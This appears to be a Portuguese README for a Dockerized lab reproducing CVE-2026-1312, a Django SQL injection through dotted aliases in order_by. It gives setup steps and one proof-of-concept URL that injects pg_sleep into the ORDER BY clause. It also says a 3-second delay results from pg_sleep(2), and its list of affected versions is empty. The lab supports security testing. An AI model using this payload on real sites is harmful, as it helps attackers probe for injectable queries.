
Reproduz a CVE-2026-1312, uma vulnerabilidade de injeção de SQL no Django, com um ambiente Dockerizado e PoC passo a passo para testes de segurança.
CVE-2026-1312 é uma vulnerabilidade de alta gravidade de injeção de SQL no Django: quando aliases de coluna contendo pontos são usados em QuerySet.order_by(), combinados com FilteredRelation para construir consultas dinamicamente por meio de expansão de dicionário, um atacante pode injetar SQL malicioso
Versões afetadas:
Este projeto de vulnerabilidade é construído usando o devcontainer do vscode
1️⃣ Abra o projeto Use o VS Code para abrir o diretório raiz do projeto existente (contendo a pasta .devcontainer).
2️⃣ Reabra o contêiner (construir Dev Container)
Pressione Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)
Digite Remote-Containers: Reopen in Container
O VS Code lerá a configuração do .devcontainer e construirá o contêiner (a primeira construção pode levar alguns minutos)
⚠️ Se o Dockerfile ou as dependências forem atualizados, você pode escolher Remote-Containers: Rebuild Container para garantir o uso do ambiente mais recente.
3️⃣ Execute o servidor de desenvolvimento do Django
Abra a paleta de comandos Ctrl+Shift+P
Digite Tasks: Run Task
Selecione django:start (a tarefa já está configurada em .vscode/tasks.json)
Esta tarefa iniciará o servidor de desenvolvimento do Django dentro do contêiner
Por padrão, ele escuta em 0.0.0.0:8086
4️⃣ Abra o navegador e acesse o projeto
Abra o navegador e acesse:
5️⃣ Observações
Na primeira execução:
Pode ser necessário executar a migração do banco de dados:
python manage.py migrate
Acesse a interface /book/search, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Você verá que o atraso de 3 segundos é bem-sucedido
Neste momento, o SQL compilado pela camada ORM do Django é
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC